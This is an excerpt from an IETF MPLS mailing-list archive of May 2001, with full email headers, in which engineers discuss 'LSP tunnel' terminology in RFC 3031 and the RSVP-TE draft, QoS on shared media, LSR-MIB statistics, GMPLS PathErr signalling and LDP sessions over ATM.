Received: from jasmine1.ad.jasminenetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: adsl-63-202-10-98.dsl.snfc21.pacbell.net [63.202.10.98])
	id QQknmc28810
	for <mpls@UU.NET>; Thu, 3 May 2001 23:34:32 GMT
Received: by jasmine1.ad.jasminenetworks.com with Internet Mail Service (5.5.2653.19)
	id <JYXC4K09>; Thu, 3 May 2001 16:33:28 -0700
Message-ID: <D72513E3A841D347A3545F0E2435E091E6E387@jasmine1.ad.jasminenetworks.com>
From: Vishal Sharma <vishal@JasmineNetworks.com>
To: "'David Charlap'" <david.charlap@marconi.com>,
        "'mpls@uu.net'"
	 <mpls@UU.NET>
Cc: "'gerhard.gross@intel.com'" <gerhard.gross@intel.com>
Subject: RE: terminology
Date: Thu, 3 May 2001 16:33:19 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

David,

I agree with your characterization below. Even the paragraph quoted by
Gerhard from RFC 3031 makes sense in the context in which you've explained 
it. 

Namely, if we define a "tunnel" as being any means of making a packet
arrive at a non-directly-attached router, then an LSP may be viewed
as one realization of a tunnel. (Even in that case, however, why don't
we just settle on the term "tunnel". I guess one could argue that the
phrase "LSP tunnel" is a bit more descriptive, in that it indicates how
the tunnel in question is being realized; through an LSP.)
Although, I am not sure that any of the documents actually states things
the way you've defined them (which would make things much clearer for
us all).

I still have a problem (and have had for quite some time), however, 
with the RSVP-TE draft, since it uses the term "tunnel" in contradictory
and confusing ways.

The following is an excerpt taken directly from Section 1.0 of the RSVP-TE
draft:

   "Since the traffic that flows along a label-switched path is defined
   by the label applied at the ingress node of the LSP, these paths can
   be treated as tunnels, tunneling below normal IP routing and
   filtering mechanisms.  When an LSP is used in this way we refer to it
   as an LSP tunnel.

   LSP tunnels allow the implementation of a variety of policies related
   to network performance optimization.  For example, LSP tunnels can be
   automatically or manually routed away from network failures,
   congestion, and bottlenecks. Furthermore, multiple parallel LSP
   tunnels can be established between two nodes, and traffic between the
   two nodes can be mapped onto the LSP tunnels according to local
   policy. Although traffic engineering (that is, performance
   optimization of operational networks) is expected to be an important
   application of this specification, the extended RSVP protocol can be
   used in a much wider context.

   The purpose of this document is to describe the use of RSVP to
   establish LSP tunnels.  The intent is to fully describe all the
   objects, packet formats, and procedures required to realize
   interoperable implementations.  A few new objects are also defined
   that enhance management and diagnostics of LSP tunnels."

As one reads through this, one might conclude that this part actually
uses the term "LSP tunnel" in the same way that RFC 3031 uses it, and 
in the way that you've defined it. 

However, as you've observed yourself, later on in the same draft the
term "LSP tunnel" is applied to something quite different; a collection
of LSPs that share a common destination, or, more precisely, a common
SESSION object. This latter use is very specific and quite different
from what one is lead to believe in the Introduction, and indeed in 
much of the draft.

If we agree that the commonly accepted definition of "tunnel" is
what you've defined (and which I've paraphrased above), and, if
we agree that the term "LSP tunnel" is, in fact, merely another
term for an LSP, with the additional connotation that the LSP can
be used to realize a "tunnel," (which is a bit of a stretch, since
every LSP is after all an "LSP tunnel"),

then clearly, the "collection of LSPs sharing
a common SESSION object" needs a different term.
I don't know what yet, but a different term.

-Vishal 


> -----Original Message-----
> From: David Charlap [mailto:david.charlap@marconi.com]
> Sent: Thursday, May 03, 2001 12:52 PM
> To: 'mpls@uu.net'
> Subject: Re: terminology
> 
> 
> "Gross, Gerhard" wrote:
> > 
> > The definitions "LSP tunnel" in the docs seem to be somewhat
> > misleading. For example, section 3.27.3 of RFC 3031 states:
> > 
> >     "It is possible to implement a tunnel as a LSP, and use label
> >     switching rather than network layer encapsulation to cause the
> >     packet to travel through the tunnel. ...
> >     This is called a "LSP Tunnel."
> > 
> > This is standard MPLS as far as I tell.
> > Why rename it?
> 
> The definition of "tunnel" seems to be different in different 
> documents.
> 
> In RSVP-TE, a tunnel is a collection of one or more LSPs that are all
> signaled with the same SESSION object.  (Session being defined as the
> triplet egress-address, tunnel-ID, and extended-tunnel-ID.)  
> If extended
> tunnel ID is zero, these LSPs may originate from different ingress
> routers.  The distinction is important because all LSPs in a single
> tunnel will share resources where possible, when an SE-style 
> reservation
> is used.
> 
> Colloquially, this is the definition I usually use.  I usually say
> "tunnel" when I mean a collection of LSPs that share a common
> destination.  If I mean a single LSP, I just say "LSP".
> 
> But this is not RFC 3031's definition.  RFC 3031 defines a "tunneled
> packet" as any packet that is forwarded to a not-directly-attached
> router.  A tunnel is defined as any means for making this work.
> 
> It then goes on to define three kinds of tunnels, the first two don't
> necessarily involve MPLS.
> 
> The first is a hop-by-hop routed tunnel.  The data is 
> encapsulated in a
> network-layer header that gets it to the next-hop router.  
> One possible
> non-MPLS example of this might be an IP-in-IP tunnel.
> 
> The second is an explicitly-routed tunnel.  The data is 
> encapsulated in
> a network-layer header that is explicitly routed to the next-hop
> router.  One possible non-MPLS example of this might be an ATM PVC.
> 
> The third is the LSP tunnel.  The data is labeled and forwarded using
> MPLS.
> 
> If my understanding is incorrect, hopefully one of the RFC 
> authors will
> be able to correct me.
> 
> -- David
> 



From owner-mpls@UU.NET  Fri May  4 10:06:52 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12747
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 10:06:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknoi00913;
	Fri, 4 May 2001 14:03:52 GMT
Received: by mail-control.mail.uu.net 
	id QQknoi26110
	for mpls-outgoing; Fri, 4 May 2001 14:03:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknoi25650
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 14:02:59 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknoi24079
	for <mpls@uu.net>; Fri, 4 May 2001 14:02:21 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88])
	id QQknoi03272
	for <mpls@uu.net>; Fri, 4 May 2001 14:02:20 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f44E2ma00284
	for <mpls@uu.net>; Fri, 4 May 2001 07:02:48 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA11863 for mpls@uu.net; Fri, 4 May 2001 10:02:19 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknlp04649
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 20:18:30 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknlp23143
	for <mpls@uu.net>; Thu, 3 May 2001 20:17:09 GMT
Received: from hebe.or.intel.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: jffdns02.or.intel.com [134.134.248.4])
	id QQknlp24218
	for <mpls@uu.net>; Thu, 3 May 2001 20:17:09 GMT
Received: from SMTP (orsmsxvs01-1.jf.intel.com [192.168.65.200])
	by hebe.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.36 2001/04/18 16:16:02 root Exp $) with SMTP id UAA00822
	for <mpls@uu.net>; Thu, 3 May 2001 20:17:08 GMT
Received: from orsmsx28.jf.intel.com ([192.168.70.28]) by 192.168.70.200
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Thu, 03 May 2001 20:17:08 0000 (GMT)
Received: by orsmsx28.jf.intel.com with Internet Mail Service (5.5.2653.19)
	id <KGJJJ7S9>; Thu, 3 May 2001 13:17:06 -0700
Message-ID: <4148FEAAD879D311AC5700A0C969E89006E18AC4@orsmsx35.jf.intel.com>
From: "Gross, Gerhard" <gerhard.gross@intel.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: terminology
Date: Thu, 3 May 2001 10:31:44 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

The definitions "LSP tunnel" in the docs
seem to be somewhat misleading. For example,
section 3.27.3 of RFC 3031 states:

"It is possible to implement a tunnel as a
LSP, and use label switching rather than
network layer encapsulation to cause the
packet to travel through the tunnel. ...
This is called a "LSP Tunnel."

This is standard MPLS as far as I tell.
Why rename it?

Also, section 1 of draft-ietf-mpls-rsvp-lsp-tunnel-08.txt
states:

"Since the traffic that flows along a label-switched path is defined
by the label applied at the ingress node of the LSP, these paths can
be treated as tunnels, tunneling below normal IP routing and
filtering mechanisms.  When an LSP is used in this way we refer to it
as an LSP tunnel."



From owner-mpls@UU.NET  Fri May  4 11:03:14 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13835
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 11:03:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknom09707;
	Fri, 4 May 2001 15:01:17 GMT
Received: by mail-control.mail.uu.net 
	id QQknom21935
	for mpls-outgoing; Fri, 4 May 2001 15:00:49 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknom21650
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 15:00:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknol11381
	for <mpls@uu.net>; Fri, 4 May 2001 14:59:20 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknol05721
	for <mpls@uu.net>; Fri, 4 May 2001 14:59:20 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA18727;
	Fri, 4 May 2001 10:58:45 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA01281;
	Fri, 4 May 2001 10:58:47 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <JJTLG7W2>; Fri, 4 May 2001 10:58:35 -0400
Message-ID: <39469E08BD83D411A3D900204840EC553095AD@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Cc: "'te-wg@ops.ietf.org'" <te-wg@ops.ietf.org>
Subject: QoS in Shared Media
Date: Fri, 4 May 2001 10:58:44 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA13835

Hi All

  I have a doubt regarding "QoS in Shared Media".  I don't 
  know how much this is applicable to this discussion list :-)

  But anyway, I am hearing about 40/10(OC768) Gig Ethernet 
  evolution. If not at the core, these technologies may be
  at the enterprise/access networks(?).

  Moreover, The QoS issue is especially interesting over
  wireless access networks as they are likely to be bottlenecks 
  (compared to wireline links) and they are often shared
  media (e.g., wire­ less LANs). Providing service 
  differentiation on shared media  is  difficult  due  to
  the risk of collisions between packets of different priority.

  * So, first, Is MPLS useful/applicable to these technologies?

  * If so, how the present singling protocols (RSVP/CR-LDP) or
    diffserv TE extended protocols will take care of this?
    As far as I know, classical RSVP is designed for such goals
    and ofcourse, present IP routing protocols also runs
    on such shared media, P2P and NBMA environments.

  * In a simple environment Ethernet -> ATM/NBMA -> Ethernet
    How resource reservation takes place and is there something
    more the present signaling/routing protocols need to do
    for QoS guaranties.
 
  I didn't find anything useful in TE-WG drafts!
  Is that I am missing something?

Thanks & Regards
--Venkata Naidu


From owner-mpls@UU.NET  Fri May  4 11:11:13 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13963
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 11:11:12 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknom12400;
	Fri, 4 May 2001 15:09:01 GMT
Received: by mail-control.mail.uu.net 
	id QQknom01002
	for mpls-outgoing; Fri, 4 May 2001 15:08:27 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknom00944
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 15:08:10 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknom09608
	for <mpls@uu.net>; Fri, 4 May 2001 15:07:39 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknom18271
	for <mpls@uu.net>; Fri, 4 May 2001 15:07:39 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id LAA07595 for mpls@uu.net; Fri, 4 May 2001 11:07:38 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknom25208
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 15:03:20 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknom18633
	for <mpls@uu.net>; Fri, 4 May 2001 15:00:55 GMT
Received: from mother.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQknom09089
	for <mpls@uu.net>; Fri, 4 May 2001 15:00:55 GMT
Received: (qmail 18321 invoked by uid 104); 4 May 2001 15:00:54 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 1.748953 secs); 04/05/2001 08:00:52
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by mother.pmc-sierra.bc.ca with SMTP; 4 May 2001 15:00:51 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f44F0p119657
	for <mpls@uu.net>; Fri, 4 May 2001 08:00:51 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHB28XSS>; Fri, 4 May 2001 08:03:12 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C18@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: LSR MIB question
Date: Fri, 4 May 2001 08:03:11 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C0D4AB.5643E480"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C0D4AB.5643E480
Content-Type: text/plain;
	charset="iso-8859-1"

Hi All,

If an LSR is the origin point of an MPLS tunnel, and it receives an MPLS packet, it first swaps the top label and pushes a new label on top of that. Which performance statistics are required to be collected by LSR-MIB: The swapped label or the pushed label or both?

Yours,
Shahram Davari



------_=_NextPart_000_01C0D4AB.5643E480
Content-Type: application/octet-stream;
	name="Shahram Davari.vcf"
Content-Disposition: attachment;
	filename="Shahram Davari.vcf"

BEGIN:VCARD
VERSION:2.1
N:Davari;Shahram
FN:Shahram Davari
ORG:PMC-Sierra, Inc.;R&D Research Ottawa-109203
TITLE:Product Research Engineer
TEL;WORK;VOICE:+1 613 271 4018
ADR;WORK:;Ottawa;Kanata Research Park, Suite 834, Office Tower B, 555 Legget Drive;Kanata;Ontario;K2K 2X3;Canada
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:Ottawa=0D=0AKanata Research Park, Suite 834, Office Tower B, 555 Legget Driv=
e=0D=0AKanata, Ontario K2K 2X3=0D=0ACanada
EMAIL;PREF;INTERNET:Shahram_Davari@pmc-sierra.com
REV:20010112T213717Z
END:VCARD

------_=_NextPart_000_01C0D4AB.5643E480--



From owner-mpls@UU.NET  Fri May  4 11:40:50 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14687
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 11:40:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknoo28684;
	Fri, 4 May 2001 15:38:51 GMT
Received: by mail-control.mail.uu.net 
	id QQknoo13235
	for mpls-outgoing; Fri, 4 May 2001 15:38:18 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknoo13218
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 15:38:08 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknoo03715
	for <mpls@uu.net>; Fri, 4 May 2001 15:36:45 GMT
Received: from abel.senecanetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: abel.senecanetworks.com [63.97.216.18])
	id QQknoo18499
	for <mpls@uu.net>; Fri, 4 May 2001 15:36:44 GMT
Received: (from root@localhost)
	by abel.senecanetworks.com (8.9.3/8.99.99) id GAA02593;
	Fri, 4 May 2001 06:39:42 -0500
Received: from vsharmapc ([10.0.1.238])
	by abel.senecanetworks.com (8.9.3/8.9.3) with SMTP id GAA02537;
	Fri, 4 May 2001 06:39:42 -0500
From: "Vipul Sharma" <vsharma@senecanetworks.com>
To: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: LSR MIB question
Date: Fri, 4 May 2001 11:36:58 -0400
Message-ID: <015c01c0d4b0$0ee16900$ee01000a@vsharmapc>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
In-Reply-To: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C18@BBY1EXM01>
X-scanner: echelon
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

It is my understanding that both stats are to be collected to satisfy the
LSR MIB.
Each LSR is reqd. to collect stats for in-segments and out-segments on a per
LSP basis. In case of a tunnel, it should collect stats on per LSP (which
may be agg. in a tunnel) as well as the tunnel (which is a new LSP)from a
LSR point of view.
Atleast, this is my understanding....

Vip

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Shahram
Davari
Sent: Friday, May 04, 2001 11:03 AM
To: 'mpls@uu.net'
Subject: LSR MIB question


Hi All,

If an LSR is the origin point of an MPLS tunnel, and it receives an MPLS
packet, it first swaps the top label and pushes a new label on top of that.
Which performance statistics are required to be collected by LSR-MIB: The
swapped label or the pushed label or both?

Yours,
Shahram Davari





From owner-mpls@UU.NET  Fri May  4 12:01:23 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15312
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 12:01:17 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknop14913;
	Fri, 4 May 2001 15:59:37 GMT
Received: by mail-control.mail.uu.net 
	id QQknop15648
	for mpls-outgoing; Fri, 4 May 2001 15:59:04 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknop15614
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 15:58:50 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknop07289
	for <mpls@uu.net>; Fri, 4 May 2001 15:57:47 GMT
Received: from rsys000a.roke.co.uk by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [193.118.201.102])
	id QQknop23526
	for <mpls@uu.net>; Fri, 4 May 2001 15:57:47 GMT
Received: from rsys002a.roke.co.uk - 193.118.192.251 by rsys000a.roke.co.uk  with Microsoft SMTPSVC(5.5.1774.114.11);
	 Fri, 4 May 2001 17:01:34 +0100
Received: by rsys002a.roke.co.uk with Internet Mail Service (5.5.2650.21)
	id <H60ST9V9>; Fri, 4 May 2001 16:57:45 +0100
Message-ID: <76C92FBBFB58D411AE760090271ED4185832D1@rsys002a.roke.co.uk>
From: "Reeve, Andrew" <andrew.reeve@roke.co.uk>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: signaling preemption in GMPLS RSVP
Date: Fri, 4 May 2001 16:57:37 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Section 4 'Removing State with a PathErr message' in draft-ietf-mpls-generalized-rsvp-te-03.txt makes a welcome improvement to the signaling when LSPs are torn down by the network. I assume that it is intended that the benefits be obtained for any 'network clear'. However the draft mentions its use for 'certain error conditions' without explaining what these are. I suggest that the section be modified to state explicitly that the mechanism can be used anywhere a PathErr is used. In other words it should be possible to use the Path_State_Removed flag for any error and also to use it during preemption.

Regards,
Andy
> __________________________
> Andy Reeve,
> Senior Consultant,
> Internet Technology and Networks.
__________________________

> Roke Manor Research Ltd,
> A SIEMENS Company.
> 
> Roke Manor, 
> Romsey. SO51 OZN.
> 
> Tel: +44 1794 833580
> Fax: +44 1794 833616
> 
> mailto:andrew.reeve@roke.co.uk
> 
> http://www.roke.co.uk
> http://www.roke-manor.com
> __________________________
The information contained in this e-mail is confidential to Roke Manor and must not be passed to any third party without permission.  This communication is for information only and shall not create or change any contractual relationship.



From owner-mpls@UU.NET  Fri May  4 12:15:35 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15751
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 12:15:35 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknoq01927;
	Fri, 4 May 2001 16:13:29 GMT
Received: by mail-control.mail.uu.net 
	id QQknoq06040
	for mpls-outgoing; Fri, 4 May 2001 16:12:55 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknoq06010
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 16:12:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknoq00264
	for <mpls@uu.net>; Fri, 4 May 2001 16:11:24 GMT
Received: from web14302.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14302.mail.yahoo.com [216.136.173.78])
	id QQknoq29409
	for <mpls@uu.net>; Fri, 4 May 2001 16:11:23 GMT
Message-ID: <20010504161120.77638.qmail@web14302.mail.yahoo.com>
Received: from [143.209.238.102] by web14302.mail.yahoo.com; Fri, 04 May 2001 09:11:20 PDT
Date: Fri, 4 May 2001 09:11:20 -0700 (PDT)
From: Srinivas T M <srini_tm@yahoo.com>
Subject: LDP messages
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
     Is it required to establish PVC if we want to
establish LDP session between peers in ATM LSR ? 
       Or any  VPI/VCI are reserved for sending LDP
messages between two peers like ATM signalling?
      


Thanks,
Srini

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Fri May  4 12:47:01 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA16640
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 12:47:01 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknot09638;
	Fri, 4 May 2001 16:45:20 GMT
Received: by mail-control.mail.uu.net 
	id QQknos09678
	for mpls-outgoing; Fri, 4 May 2001 16:44:47 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknos09656
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 16:44:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknos25603
	for <mpls@UU.NET>; Fri, 4 May 2001 16:44:23 GMT
From: Satish_Amara@3com.com
Received: from topaz.3com.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: topaz.3com.com [192.156.136.158])
	id QQknos15384
	for <mpls@UU.NET>; Fri, 4 May 2001 16:44:22 GMT
Received: from opal.3com.com (opal.3com.com [139.87.50.117])
	by topaz.3com.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f44Ggd319313;
	Fri, 4 May 2001 09:42:39 -0700 (PDT)
Received: from hqoutbound.ops.3com.com (hqoutbound.ops.3com.com [139.87.48.104])
	by opal.3com.com (Switch-2.1.1/Switch-2.1.0) with SMTP id f44GiLk23443;
	Fri, 4 May 2001 09:44:21 -0700 (PDT)
Received: by hqoutbound.ops.3com.com(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 88256A42.005BED73 ; Fri, 4 May 2001 09:44:05 -0700
X-Lotus-FromDomain: 3COM
To: Srinivas T M <srini_tm@yahoo.com>
cc: mpls@UU.NET
Message-ID: <88256A42.005BD751.00@hqoutbound.ops.3com.com>
Date: Fri, 4 May 2001 11:43:20 -0500
Subject: Re: LDP messages
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



Hi,
         Refer to section 7 in the following link ...
http://www.ietf.org/rfc/rfc3035.txt

Satish Amara





Srinivas T M <srini_tm@yahoo.com> on 05/04/2001 11:11:20 AM

Sent by:  Srinivas T M <srini_tm@yahoo.com>


To:   mpls@UU.NET
cc:    (Satish Amara/MW/US/3Com)
Subject:  LDP messages



Hi,
     Is it required to establish PVC if we want to
establish LDP session between peers in ATM LSR ?
       Or any  VPI/VCI are reserved for sending LDP
messages between two peers like ATM signalling?



Thanks,
Srini

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/






From owner-mpls@UU.NET  Fri May  4 13:20:38 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17389
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 13:20:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknov15794;
